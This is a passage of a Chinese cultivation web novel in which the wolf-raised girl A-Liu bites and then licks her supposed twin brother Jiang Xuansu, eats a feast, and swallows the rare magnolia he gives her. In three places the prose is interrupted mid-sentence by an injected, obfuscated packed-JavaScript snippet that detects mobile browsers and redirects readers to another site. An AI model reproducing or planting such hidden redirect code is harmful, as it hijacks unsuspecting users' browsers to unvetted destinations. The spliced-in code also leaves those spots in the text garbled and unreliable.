一切积压许久、无处倾诉的忧愁烦扰,都随着手臂上的血珠一同涌出,消失殆尽。 最后,连项姥姥那句话都被他抛之脑后。 只有连“心无杂念”这句话都忘了,才是真正的心无杂念。 出于习惯,江玄肃仍盘腿端坐,以前,每逢清晨日出,他都会在白玉峰的峰顶像这样打坐吐纳。 可这一次,他身边却多了一个陪伴他的亲人,用令他疼痛的方式昭告她的存在。 以后他不用独自打坐了。 江玄肃问妹妹:“阿柳,你知道我的名字吗?” 漫长的沉默里,阿柳一声不吭地忍痛,吮吸伤口涌出的鲜血。 听闻头顶响起说话声,她下意识仰头,险些一口咬上他发声的喉咙。 怀中人骤然绷紧身躯,江玄肃有所感知,还以为阿柳在用动作表示好奇,顿时心生欢愉。 “我大名叫江玄肃。小字叫阿照,就像你的小字叫阿柳。等回到钟山,母亲会给你起一个新名字。到时候,我来教你这些字怎么写。” 阿柳似懂非懂地听他说着“大大小小”的话,悻悻蜷缩回去,终于想起这不是她的猎物,而是她临时找来支撑的靠垫。 一个,很舒服的靠垫。 柔软的皮肉里撑着坚硬的肌骨,覆盖其上的衣料像清凉的云,脸颊贴上去能降温,衣料之下的身体则散发着温热好闻的气息。 阿柳皱起鼻子使劲嗅了嗅,辨认他用的香里掺杂了几种草木,长在山间时分别是什么样子。 脸颊依靠的地方,心脏在有力地跳动。 山间的野兽不会说话,总是通过袒露心跳来表示亲昵。 对它们而言,向对方展现脆弱的脖颈和胸腹,是托付绝对信任的体现。 正因为这个姿势可以随时制伏江玄肃,阿柳才能这样安坐。 上一次躺在同伴怀中时,她还认为自己是狼。 狼的胸腹有蓬松柔软的毛发,每当它们在地上卧成一团,她总喜欢把脸扑进去,感受其中的温暖。 可是狼没有名字,大家靠气味记住彼此、分辨敌人,下山后阿柳才发现人如此迟钝愚笨,需要用特定的声音呼唤对方,才能确认身份。 一群傻子,要是在山上随处乱叫暴露方位,早就被天敌吃干净了。 可惜人间有人间的规矩,她不得不记住自己叫阿柳,项姥姥叫项姥姥,驼子叫驼子,瞎子叫瞎子,两个矮子叫男矮子和女矮子。 身后靠着的这个人,名字却很复杂。 阿柳胡乱地想着狼伙伴的皮毛,它们的气味,最后又在心里默念那一大一小两个名字。 念了几遍,有些熟悉,她忽然松开叼着的胳膊问他:“卷心酥?” 轻笑声带起胸腔的震动,传导到她的后脑。 江玄肃放慢语速,将大名重新念了一遍。 “玄sù(左石右繁体肃,晋江显示不了),是江畔黑色的磨刀石,利刃易折易钝,玄sù将其打磨,自己却坚固如初。我诞生后,门中长老算出我命里带煞,名里不宜带金铁,母亲便去掉石旁,留下肃字,取玄色肃穆守正之意。” 江玄肃耐着性子说完,左臂的疼痛却在逐渐加重。 阿柳听不懂这些文绉绉的话,正不耐烦地攥着他手臂捏来捏去。 他无奈地笑笑,问:“你喜欢吃卷心酥?” 这一句终于拉回了她的心神,阿柳不假思索地点头。 她吃过半块卷心酥,在地上捡的。 那个不慎弄丢点心的幼童嫌泥土脏,呆了一瞬没有立刻捡起,被她飞快地叼走了。 她跑远了,那幼童还站在原地大哭:“我的卷心酥被狼吃了!” 哼,她又没吃他。 阿柳从此知道了,原来这个泛着油香与甜味的小点心叫卷心酥。 下山的好处由此体现,山上是吃不到这种好东西的。 阿柳仰头问江玄肃:“你们那有卷心酥吃吗?” 他垂眼对她微笑:“你来了,就有。” 阿柳缩回去了,继续拿他的手臂磨牙。 狡猾的家伙又在层层加码,诱惑着她心生幻想,憧憬随他们而去的生活。 她听得懂人话,知道他们找上她是为了那个胎记,通过胎记认出她是江玄肃的妹妹。 可她真的不是啊。 一刻时间已经快要结束,阿柳的颈侧渐渐不再疼痛,倒是嘴里那条手臂,此刻已经布满牙印,血迹斑斑。 阿柳并不愧疚,只是困扰,思忖片刻后,她用舌尖卷掉上面的血珠,做最后的确认,再离开江玄肃怀中,转身看他眼睛。 她严肃地重申:“我们的血,味道也不同,我不是你妹妹。” 江玄肃与她对望,一时无言。 静静地数了一息的时间,他侧头看向桌案上的燃香。 此刻,它正好燃到根部,彻底截断。 再望过来时,他眉眼之间骤然绽开笑容。 如果邵家姐弟在场,一定会惊叹小师兄竟能笑得如此灿烂。 “可是你的胎记不假。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316090|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 直到现在,那枚烛焰胎记仍完好无损地长在她颈侧,手臂上还残留着阵阵余痛,一切都在告诉江玄肃,这不是他的幻梦。 他们要找的人,正在他眼前。 那位千古以来第一次,钟山上所有修士都未曾见过的,司剑。 就在三日前,钟山烛南峰上空异光闪烁,掌门江无心闭关已久,突然传来密令。 双生剑即将出世。 神剑有灵,择其司剑,它们选中了修真界后辈里的第一人江玄肃。 至于另一位,却不在钟山,而在山外一座边陲小城里。 此女与江玄肃同年同月同日生,颈侧有和他一模一样的烛焰胎记,无父无母。为防止消息走漏,有不怀好意者从中作梗,掌门指派长老梁继寒秘密下山,在出发后的第三日,在那座小县城里寻找司剑。 密令一出,闻者皆为之哗然。 一千多年来,双生剑总共选中过八任司剑。 每一任都是两位,并且二人之间感情深厚,有着举世皆知的美名。 他们要么是血浓于水的至亲,要么是高山流水的挚友,要么是情深不渝的道侣。 他们的事迹,早在被双生剑选中之前就流传于修道界,甚至传入凡界,名满天下。 然而,没有人知道这位司剑与江玄肃的关系,连江玄肃自己都一无所知。 毕竟他在白玉峰的峰顶住了这么多年,与他相伴最久的,只是峰顶那株玉兰树。 江无心闭关期间,再大的变故也不能中断她的修行,这是铁律,她不现身,无人敢前去打扰。 密令简洁,时限短暂,门中长老智者只得自己揣摩其中深意。 众人翻遍古籍史书,求签问卜,终于找到唯一的解释。 友谊需要长久时间的培养,爱情需要一眼万年的火花,江玄肃不可能与这位素未谋面的女子产生以上两种关系。 思来想去,只有一种可能。 有着同样的胎记,又是同时出生,再加上被双生剑选中——那人是江玄肃一胞同出的亲妹妹。 因为江玄肃的母亲是江无心,那个性情孤僻,目中无人的天下第一武修江无心。 从找到道侣,到给道侣送葬发丧,再到抱着诞下的遗腹子出现在众人的视线里,钟山大小宗门的掌门长老们连一次喜宴丧宴都没赴过。 自始至终,江无心做一切决定时,都没给外人插手置喙的机会。 这样一位行径古怪的女子,就算宣布她有一个遗落在凡界的女儿,众人也只会觉得这是她能做出来的事。 毕竟她是江无心,江无心做什么都有可能。 旁人议论纷纷,江玄肃却想不了那么多。 掌门密令里的每一条,都是响彻他头顶的一道惊雷。 被选为司剑是天降大任,江玄肃身为天之骄子,尚且能将它看作情理之中。 多出一个同胞妹妹,却是意料之外。 ……再确切些,是意外之喜。 厢房里寂静无声,江玄肃就这么盘坐着,盯住阿柳,目光描摹她的脸,像检查失而复得的宝藏。 阿柳被他盯得不耐烦,甩甩头,用袖子擦颈侧残留的药水:“我不要叫你哥哥。” 混迹人间这么久,她至少弄清楚了哥哥比妹妹大,兄长兄长,有一个长字,就压了她一头。 和他说不通也就算了,毕竟她来人间以后,总是与旁人说不通。 可她才不要又多一个人爬到她的头上。 “你不认,也无妨。事发突然,谁都需要接受的时间。” 江玄肃忽然不再盘腿端坐,他支起身,以受伤的胳膊撑地,全然不顾骨肉之间的疼痛,整个人身子前倾,凑到阿柳眼前。 然后,用指尖替她拨开汗湿后贴在脸颊的头发。 浓如墨的眼瞳映着阿柳的脸,她往左边挪,它们就转向左边,她朝右边滚,它们就追到右边。 阿柳从那双眼睛里望见一个她陌生的钟山。 有着陌生的历史与传承,陌生的规矩与法度,陌生的建筑与居住其间的人。 而唯一熟悉的,是面前专注凝望她的江玄肃。 他声音缓缓,像游说,又像催眠。 “你可以慢慢学,我会教你,甚至我自己也要学。你学着当我的妹妹,我学着当你的哥哥。我们的事迹将被写入史书,流传四方。哪怕再过百年千年,世人提起我的名字,就会想起你,提起你的名字,就会想起我。因为我们是被双生剑选中的人,从今往后,一生一世,同进退,共生死。” 8. 08 阿柳睁着茫然的眼睛望向江玄肃。 她没听说过什么是史书,也不知道一生一世是多久。 江玄肃此时的眼神,只能让她想起在街口卖艺时被他截住的红绸。 一旦放松,就会失控,不把他拉过来,就会被他拽过去。 脸颊上的发丝晃动,指腹的触感温热。 阿柳毫无预兆偏头咬下去。 江玄肃立刻收手。 “嗒!” 空气里响起一声如金玉撞击的脆响。 是阿柳上下碰撞的牙齿。 但凡江玄肃动作再慢一点,他那根手指说不定会被咬成血肉模糊的两段。 “一堆屁话,听不懂。”阿柳翻身站起来掸衣服上的灰,“我要吃饭。” 江玄肃垂眼搓了搓幸免于难的手指,竟也不生气:“这里的伤口不好遮,不能给你咬。” 阿柳故意又朝他龇牙,理直气壮:“不喜欢你碰我。” 全然不提自己忍痛时如何蜷进他怀里作乱。 江玄肃站起身,放下袖子遮住血迹斑驳的手臂,戴好护腕。 修士体质特殊,伤口恢复的速度比凡人快,此刻上面已经不再出血,隐隐有结痂的趋势。 他不恼阿柳的无理,反而温言道:“好,从现在起,我不再随意碰你,你也不能随意咬别人。” 阿柳抽了抽鼻子,打量江玄肃。 理好的衣裳掩盖住伤口,血腥味也稀薄得近乎于无。 他站得挺拔,神情温和,恢复之前那副仪态端方的模样。 仿佛护腕束缚的不止是衣袖,还是那股令阿柳感到熟悉的同类气息。 阿柳从鼻子里哼了一声。 她当然知道不能随意咬人,下山后项姥姥早就教会她这么做的下场。 再说了,她又不是见到谁就咬的疯狗。 比如此刻,她想咬的人就只有一个。 阿柳挑衅地问:“也不能咬你吗?” 江玄肃一怔,望着她蓄势待发的模样,忽然笑了。 谁说阿柳不通人情,瞧,这不是已经分出亲疏了吗? 别人是别人,他是她哥哥,孪生兄妹亲密无间,当然不能算“别人”。 可如果就这样放任她随意咬他…… 江玄肃绕过桌子走向阿柳,她见他不答,也起了防备,攥起拳头目光上下扫他。 他于是识时务地停在几步开外,保持让她安心的距离。 “无缘无故,即便是咬我也不行,今日是为了陪你忍痛才破例,出去后你要收敛自己。不过,你天性如此,想让你立刻改变,是强人所难。” 阿柳云里雾里地听了半天,不懂他那些文词:“能还是不能?” 江玄肃思忖片刻:“我们不妨做个约定。每三天,你只许咬我一次,咬过之后,便要克制自己,否则就是犯禁。” 当她习惯了约定不再犯禁后,再把时间延成五天、十天,直到再也不犯。 这是江玄肃从师傅那里学到的方法。 想要纠正某种陋习,比起最开始就绝对禁止,不妨循序渐进,先给人犯错的余地,再不断拉长允许犯错的间隔,直到彻底戒除。 江玄肃对阿柳抬手,示意她与自己击掌为誓。 阿柳正算着三天是吃几顿饭,余光瞥见他动作,下意识朝后缩了缩。 发现江玄肃不是要动手打架,才没往旁边开溜。 她目光落到他的掌心。 就是这只手掌,方才她咬住他胳膊时,仍轻轻地拍打她的肩膀安慰她。 此刻上面还残余着蹭到的血迹。 哼,她也不是一定要咬他。 阿柳忽然把脸凑到他手边,江玄肃见状忍俊不禁。 “接下来还有三天,你现在就咬……” 他的话被骤然截断。 手上传来的,不是利齿啃咬的刺痛。 而是温热湿润的舔舐,落在掌心最敏感的位置,失去疼痛作掩护后,触感格外清晰。 一瞬间,像经脉错乱下的灵息流窜,异样的酥麻顺着手掌一路往上,涌入四肢百骸。 阿柳把他蹭到手掌的血渍给舔走了。 然后收起舌尖,闭着嘴动了动腮,神情如常地望向他。 那双眼睛依旧澄澈。 江玄肃甚至能从中照出自己的脸。 紧接着,察觉到那股她身上没有、自己身上却如影随形缠绕而来的…… 杂念。 方才为了陪她忍痛而受到压制的五感,全都在这一舔中复苏。 少女热烘烘的体温,在他怀中窜动时发丝蹭到他脖颈,吮吸他伤口血珠时嘴唇擦过他的小臂。 亲密无间的兄妹,真的可以做到这个地步吗? 她天真无知,不以为意,可他呢?他的放任合乎师傅教导他的君子之礼吗? 室内一静。 阿柳不明白江玄肃为什么愣住了。 他就那样沉默地立在原地,垂眼看自己的掌心,仿佛阿柳刚才不是舔他手心的血,而是一口把他的手给咬断了。 直到从外面庭院中传来的脚步声渐响,阿柳率先察觉,侧头去听,江玄肃才随之惊醒。 眼看江玄肃的同伴们要来撑场,阿柳立刻郑重其事撇清责任:“我刚才没咬你。” 不等他回答,厢房门已经打开。 梁继寒和邵家姐弟一齐入内,三双眼睛同时去找阿柳颈侧的胎记。 绯红的烛焰,完好如初。 梁继寒眼中闪过愣怔。 姐弟二人则松了口气,抬手击掌。 邵忆文打趣:“小师兄,傻站着做什么,多了个货真价实的妹妹,笑都不会笑了?” 邵知武则有些生疏地招呼阿柳:“喂,你不是要吃饭吗?已经备好了。” 江玄肃脚下生根,一动不动地望着面容相似的姐弟,回想他们击掌的动作。 这才是双生子间正常的相处之道。 他不能…… 他转头要对阿柳说些什么,却只感觉一阵欢快的风从面前掠过。 “吃饭!” - 这桌宴席原本应当邀请项姥姥,可她签下契书后立刻急匆匆地走了,甚至不给阿柳再见她一面的机会。 寻常认亲都要酬谢养父母,她对阿柳的态度可算不上亲切,万一狼丫头仗势欺人,她要倒大霉。 走之前,听说江玄肃成功劝服阿柳验胎记,她忍不住冷笑一声。 “是因为他依着她,她才听话。等日后他将规矩套在她身上,哼,走着瞧,有他好受的!” 说这话时身边只有送她出去的刘县令。 刘县令汗如雨下,瞪视她一眼命她闭嘴,转身就将这不吉利的话抛之脑后,绝不传达给喜气洋洋的后堂。 他让手下关好县衙大门,自己也转身回去。 项姥姥则独自背着那一箱黄金,抄了条无人的小路往歇脚的地方走。 背上沉甸甸的,心里却卸下一块大石头。 阿柳的确是摇钱树,她的杂耍班子最大的噱头就是那狼丫头。 可是,留她在身边养得久了,却还是养不熟,摇钱树就逐渐变成了烫手山芋。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316091|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从前还能仗着她小,用毒打威吓她。 现在她大了……哼,由着那群修士们操心去吧! 项姥姥脚步轻快,沐浴着黄昏的血色残阳走在小巷中,心中盘算要用这笔钱去哪里买个庄子养老。 念头杂了,能顾虑的就少。 比如,此刻她就没察觉身后突然多出来的身影。 和那人手中一闪而过的匕首寒芒。 - 后堂的饭厅里,邵家姐弟去酒楼买的一桌饭菜摆在正中央。 阿柳最先进门,刚跨过门槛,猛地刹住脚。 她眼睛陡然瞪大,鼻翼翕动着嗅闻空气里的饭菜香,辨认令她眼花缭乱的菜色。 这么多好吃的! 她跟着项姥姥时,从没吃到这么多的肉! 还有点心!果子! 阿柳眼珠左右飞快地转,看都看不过来,雀跃从肠胃里往上窜,经由喉咙,化作一声短促的欢呼。 江玄肃一行走得稍慢,刚到门口,就撞见阿柳一脸兴高采烈地往院子里冲。 她一路窜到院中的假山石上,又行云流水般翻个跟头落下来,用的都是卖艺时训练的招数。 直到连翻带跃跑了一圈,终于发泄掉多余的兴奋,她才急忙小跑着往回赶,怕饭菜冷了。 幸好刘县令走之前屏退了侍从,此刻除了师徒四人,没有人看到阿柳莫名其妙的举动。 邵忆文“嚯”了一声。 下午在厢房里追她那么多圈,竟然还没把她给跑累。 邵知武也看得发懵:“她这是……” 梁继寒目光追随着阿柳,若有所思:“追风捕到好猎物时,也会这样兴奋。狼与犬相似,有着它们自己的庆祝仪式。想来是阿柳在狼群中待得久,耳濡目染,眼下看到好饭好菜,情难自禁。” 追风是梁继寒养的猎犬。 江玄肃和邵家姐弟都知道,师傅养马养犬,对于驯服动物颇有心得,此时听他解释,总算了然。 江玄肃一路上都没说话,此刻被阿柳这么一闹,眉宇间郁结之色却逐渐散了。 是了,阿柳不是寻常人,怎能一上来就用寻常礼法衡量他们这对兄妹? 反正他们已经离开那厢房,验过了胎记,他也不会再解开束袖,任她贴合上来舔咬他的手臂。 至于她种种冒犯失礼的习惯……兄长的作用,不就是监督教导妹妹,使她走上正道吗? 江玄肃心里轻松,说话的语气也轻快不少:“方才我劝她时,答应她回钟山后一日三顿饭,顿顿有肉,她立刻不抗拒验胎记了,白费我准备一通说辞。” 邵家姐弟听了都笑。 邵知武说:“我和姐姐当初就是这样被师傅哄到钟山上去的。” 邵忆文笑完,却没接话。 院子里晚霞灿烂,她望着沐浴霞光奔跑的阿柳,感慨万千。 那狼丫头验完胎记后如此欢欣,竟然只是为一顿好饭。 她和弟弟随师傅上钟山后,别说为一顿饭菜庆祝,有时甚至殚精竭虑得吃不下饭。 像这样简单纯粹的喜悦,她已经很久没有体验过了。 现在看来,阿柳丝毫不懂她即将肩负的司剑之位寓意着什么,成为掌门的女儿又会给她带来哪些荣光与烦恼。 等上了钟山,对她说明情况后,她还能像这样快乐吗? 门口几人谈话间,阿柳已经折返回来,江玄肃眼睛不眨地注视着她,温言叮嘱。 “阿柳慢些,当心脚下。” 话音未落,阿柳脚步都不带停,轻飘飘地从门槛上跃过去了。 9. 09 众人入座落定后,梁继寒面带微笑地注视阿柳,却没有动筷。 剩下三人见师傅不宣布开饭,也都安分坐着。 只有阿柳旁若无人地抄起筷子。 江玄肃坐在她身侧,清了清嗓子,却见她头也不抬,对着桌上菜食下筷子。神情专注肃穆,俨然在做一件全天下头等重要的大事。 熬了一下午,只为这顿好饭,就算现在有人在旁边用鞭子抽她,她也要先吃饱再说。 江玄肃抱着胳膊侧头望她,轻叹一声,替阿柳将容易打翻的茶杯拿远些,不让它挡在她夹菜的路上。 邵知武却惊讶道:“你还会用筷子?” 他以为狼女只会用手抓肉吃呢。 邵忆文坐在阿柳另一侧,忍不住将碗筷朝相反的方向挪了挪。 她见过师傅养的狗,知道犬类护食,想必狼也如此。 万一开饭后阿柳为了护食凶相毕露,她要提防狼丫头撒泼伤人。 阿柳心无旁骛,一筷子扎进炖鸡的鸡腿上,扯下来装在自己碗里。 随后又故技重施,去戳炸丸子、蒸扣肉,眼光毒辣,动作精准,每一块都是肥瘦相间的好肉,夹走前还不忘在汤汁里裹一圈。 她从前跟着项姥姥四处卖艺,用筷子吃/精细食物的次数极少,大多是用手抓着汤碗大饼唏哩呼噜地吞,因此筷功不好,两根并在一起当棍子用,毫无仪态可言,能把食物带回碗里就是胜利。 一时间,身前的桌面上滴了不少汤汁。 江玄肃左手搭在膝上攥成拳,尽量不让自己的眼睛落在那上面。 邵家姐弟看得兴致盎然,眼神飞来飞去,赌阿柳会不会捡素菜吃。 直到她戳起炖笋块,邵知武才隔空对姐姐露出“你赢了”的表情。 邵忆文这次却垂下眼睛不接茬。 邵知武一怔,视线偏移,突然发现小师兄不知何时将目光从阿柳身上移开了,正平静地望着他。 明明他什么都没说,可邵知武还是被那眼神刺得一激灵,连忙低头。 好在这时,梁继寒终于开口:“吃饭吧。” 碗筷碰撞的声音响起,阿柳在百忙之中抽空看一眼他们,目光扫过梁继寒时,手上动作忽地一顿。 这人正望着自己微笑,可阿柳看他的眼睛,里面却不见波澜。 傻子,坐上桌了不知道吃饭,把她当成菜打量。 吃饭要紧,阿柳不搭理梁继寒,夹得碗里的菜堆冒了尖,下桌往院中去。 桌上一静,但谁也没拦着她。 再过片刻,外面传来阿柳呼哧吃饭的声音。 梁继寒给自己斟了一杯酒,在阿柳的吃饭声中缓缓地喝。 剩下三人见此都是一怔。 师傅已经很久不喝酒了。 至此,饭桌上彻底没了声息。 梁继寒喝完一杯才恍然回神,看向鸦雀无声的众人:“饭菜不合胃口?” 邵家姐弟立刻弄出些吃饭的动静,终于盖过屋外阿柳吐骨头的呸声。 江玄肃却仍望着师傅。 不是他的错觉,师傅不喜欢阿柳。 上行下效,邵师妹和邵师弟因此也视她为异类。 “叮”的一声,把江玄肃的视线拉回到饭桌。 是邵知武在舀汤。 瓷白的勺子碰到碗壁,撇开平静的汤面,浓稠鲜香的汤水翻搅,终于露出里面被炖烂的骨架与残渣。 - 阿柳已经很久没吃得这么饱了。 荤腥与油水安稳地落进肚子,咂嘴时还能反刍到肉香,有这样一顿打底,就算再饿两天她也能扛住。 她呆坐在院中的假山上看日落,享受久违的饭晕,困意渐渐上涌。 尽管弄丢了金环,但今晚不会再挨打,因此她可以躺着睡,不用顾忌背上的鞭痕。 橙红的太阳像鸡蛋黄,一点点隐没在视野尽头,头顶有倦鸟归巢,晚风里混杂着春雨来临前的泥土腥潮气。 身上换过的新衣服很暖和,手上的水泡被江玄肃按着抹了药,新的皮肉生长着,泛起淡淡的痒意。 阿柳还不认识“幸福”这两个字,却总算体验过它的滋味。 众人走到假山下时,见到的就是这一幕。 他们看到阿柳在笑。 少女的发髻又被她自己晃松了,两鬓垂下的发绺随风飘着。 见几人走近,她也没有蜷缩戒备,仍坐在高处,手撑着身体两侧,居高临下地看他们。 她两眼微微眯起,眼白露得少了,凶相也随之削减。 浓密的眼睫弯出两条漂亮的线,即便太阳已经下山,它们仍在昏暗的天光里清晰无比,毫无自知地勾住旁人的目光。 嘴角上扬着,弧度并不明显,却与之前要么龇牙要么紧绷的形状截然不同。 山间的野兽不会笑,表情也很少,往往通过动作与叫声传递情绪。 人的脸五官灵活,因此才有了笑这个表情。 开心时大笑,悲伤时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316092|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦笑,愤怒时冷笑,见到熟人礼貌地笑,见到敌人嘲讽地笑。 谈判进攻时用笑作武器,受到攻讦时以笑作防守,越慌乱越要以笑稳住阵脚,越痛苦越要以笑证明自己不在乎。 只有人才能笑出这么多种含义,因此,只有会笑了,才会被旁人看做一个正常人,被他们划分进同类的范围里。 从见到阿柳开始,这还是江玄肃等人第一次看到她笑。 剥离了种种附加其上的情绪,笑得浅淡而纯粹,回归“笑”这个表情最初的用意。 邵知武抱着胳膊,原本又要用“喂”来喊阿柳,对上她的眼睛后,声音忽然卡在嗓子里出不来了。 一股异样的情绪在晚风中攀上后颈,他不自在地摸了摸脖子,第一次察觉到自己之前有多无礼。 江玄肃,则在这一刻下定了决心。 他的妹妹,分明有着和正常人无异的喜怒哀乐,不缺少表达任何一种情绪的能力。 甚至,当她笑起来的时候,比全天下所有的女子都要好看。 这样的她,绝不该受到任何人异样的目光。 江玄肃一手抱着木盒,抬起空着的手对阿柳招了招,轻声唤她:“阿柳。” 阿柳仍微笑着,却毫不搭理他,收回视线享受最后天空的一点亮光。 假山下的气氛一僵。 江玄肃心意已定,不把这冷遇放在心上:“其实阿柳很聪明,也十分通情达理,并非你们想的那样不通人性……她只是不习惯与人相处。” 说完看一眼师傅,希望这样能让他心里对阿柳的评价变好些。 梁继寒背着手,并不驳斥,视线落在他的木盒上,忽然也笑了。 这个笑,是让人读不出含义的笑。 “不是要给妹妹送见面礼吗?” 邵家姐弟也围上来,小师兄一路上百般呵护,他们实在好奇里面装了什么。 三双眼睛盯着他,甚至连假山上的阿柳都偷听到他们的话,状似无意地悄悄朝这边看。 方才还志在必得的江玄肃笑容一滞,他垂下眼,用指尖摩挲那个木盒,竟然破天荒地迟疑了。 牵住阿柳的红绸时、被阿柳衔住胳膊啃咬时、替阿柳收拾吐在门外的碎骨头时,他想过一遍又一遍。 他选了一样全天下独一无二的东西,作为给妹妹的见面礼。 可他没想到,他遇见的是全天下独一无二的阿柳。 而阿柳,或许是全天下最无法体察这份心意的人。 10. 10(二合一) 好香。 阿柳抽了抽鼻子,倏地坐直。 是那股她熟悉的气味,只不过这一次被放大了千百倍。 树木微苦的清香,泉水清冽的冷香,以及之前没有嗅到过的,幽暗的花香。 闭着眼深呼吸时,阿柳还以为自己仍在江玄肃怀里,可即便脸颊紧贴他的衣物,也闻不到这般浓郁的香味。 除非,剥除所有碍事的布料,将他整个人拆吃入腹,牙齿撕开皮肤,舌头深入骨肉…… 阿柳恍然回神,舌根竟涌出垂涎的津液,连忙闭紧嘴巴将它咽下。 真奇怪,明明她已经吃饱了。 她恍惚地循着香味翻下假山,找到捧在江玄肃手中的木盒。 江玄肃凝望阿柳的脸,语气却故作淡然:“一点薄礼,给你准备的。” 这是件一看就不属于凡界的东西,寻常木盒经过三日的奔波之后,绝不会在打开时冒出白色的寒气。 木盒由整块玉兰木雕刻而成,里面牢牢嵌着球形的中空内胆,江玄肃拨动卡扣,木球随之分为上下两半,上半球如圆盖,下半球如圆碗。 碗中盛着寒气四溢的泉水,水面上漂着一枝红白双色的并蒂玉兰。 “这两朵玉兰虽是异色,却并蒂同枝,正如你我虽性情各异,却本属一体。过去十六年我们失散了,如今既已团聚,就不会再分开。” 路途的颠簸被水化解,玉兰漂浮其中,至今完好无损,花瓣颜色如新,香气扑鼻,仿佛刚从枝头摘下。 开启木盒之后,江玄肃立刻察觉到梁继寒的目光,忤逆师长的羞愧令他耳根染上薄红,可他仍犟着不看师傅,把木盒呈给阿柳。 邵知武不可置信地脱口而出:“小师兄,你怎么也学坏了?” 难怪江玄肃之前不让他们看木盒里装着什么。 师傅教导他们,天行有常不可违逆,花开花落自有其规律,不宜强行更改。 更何况将染上灵息的事物带出钟山,犯了门规大忌,视情况严重程度,要在宗门的密室里关禁闭,时长三日到数年不等。 小师兄如此费尽苦心,不惜回去后闭关受罚,只为送妹妹一枝花。 邵忆文见阿柳盯着冒寒气的泉水,根本不看水中的花,顿觉遗憾。 可惜啊,偏偏收礼的是这不知雅意的狼丫头。 而小师兄也不是自夸的性子,他若不说,阿柳更不可能知道这份礼物的珍贵。 邵忆文叹息一声,索性担起介绍的职责。 “阿柳,你可知道这株花多难得?白玉峰顶的双色玉兰树,三年开花一次,一次只开三天,开花时只有第一枝是并蒂两朵,两朵异色更是数十年难一遇。玉兰一旦离枝,不出半日便会枯萎,哪怕是钟山上的泉水,也最多只能保它一日新鲜,除非那泉水被修道者以灵息滋养过……” 阿柳却置若罔闻,始终紧张地注视泉水,随着木盒打开,泉水的寒气正不断消散,那股冷香也越来越淡。 她忍不住打断:“要消失了。” 众人一怔,江玄肃刚想问她,手背传来一阵暖意。 阿柳的手覆上他捧木盒的手,垂首弯腰。 细微的咕嘟吞咽声响起,片刻后,手中木盒轻了不少,手上那股托力也随之撤走。 阿柳终于安心,收手去擦自己的嘴。 一片死寂。 邵忆文说话的嘴张着,半晌没合拢。 她竟将温养花朵的泉水尽数喝光了。 紧接着,见容器里还剩两朵花,阿柳随手拈起。 江玄肃连忙说:“你可以将它……” 簪在鬓边。 江玄肃三日前剪下这株花时,原本是这么想的。 兄长没能陪着妹妹长大,幼时无缘与她玩编草簪花的游戏,等见面后,正好以此补偿于她。 然而,阿柳将花凑到鼻端嗅了嗅,却径直撕下一瓣放进嘴里。 她幼时长在狼群中,与同伴进行的所有游戏都是为捕食做准备。 想要感受什么,就去嗅闻、舔舐与啃咬。 喜欢就吃下,不喜欢就扔掉。 玉兰花香气虽浓,却没有花蜜的甜味,阿柳不讨厌它的花香,索性将它囫囵吞下。 但很快,咀嚼的动作越发缓慢。 她睁圆眼睛,环顾四周。 不对,气氛不对。 ……她又做了不符合他们期望的事。 梁继寒摇摇头,不是失望她,而是对江玄肃失望,说了一堆她半懂不懂的话。 “阿照,这结局你可满意?玉兰花尚且只需一抔泉水续命,你又该付出什么代价延续自己的执念?这样下去,为师怕你终有一日被心魔反噬。” 邵家姐弟则沉默不语地望着她,面容相似的两张脸,表情也相似。 六年前阿柳四处闯祸甚至弄丢金环,杂耍班子里的人就会这样看她。 只不过二人的目光里没有那般浓烈的恶意。 如此珍贵的花,她却感受不到其中的心意,他们是在替她叹惋。 阿柳咽下花瓣,在这样的目光中后退一步。 在场的人里,谁都没有动手打她的打算,可他们的眼神比暴打她一顿更令她不自在。 不是直白的嫌恶与鄙夷,而是从高处往下投射的,怜悯。 每一眼,都在无声地说着“你和我们不同”。 明明方才她在假山上看向他们的时候,他们还不是这个表情。 一群可恶的家伙,大动干戈把她找回来,又不让她融入他们之中。 东西送给她,凭什么不许她自行处置?那么香的花,放过今晚就凋谢了,不吃也是浪费,凭什么不许她吃? 吃进去的花瓣落不进胃袋,反而灼烧着阿柳的五脏六腑,陌生而难受的情绪在体内冲撞,催促她逃离这里,躲到没有光也没有人的角落蜷缩起来,把那些讨厌的眼神忘掉。 阿柳故作凶狠朝他们龇牙,转身要走,走之前最后看一眼江玄肃,脚步一顿。 刚才他始终没有抬头,此刻,却朝她望了过来。 一对锋利如剑的眉毛,却配了一双形如花瓣的眼睛。 利剑的剑气沉重,让她心生抵抗,花瓣的香气温柔,让她想要靠近。 阿柳总是读不懂江玄肃。 比如现在。 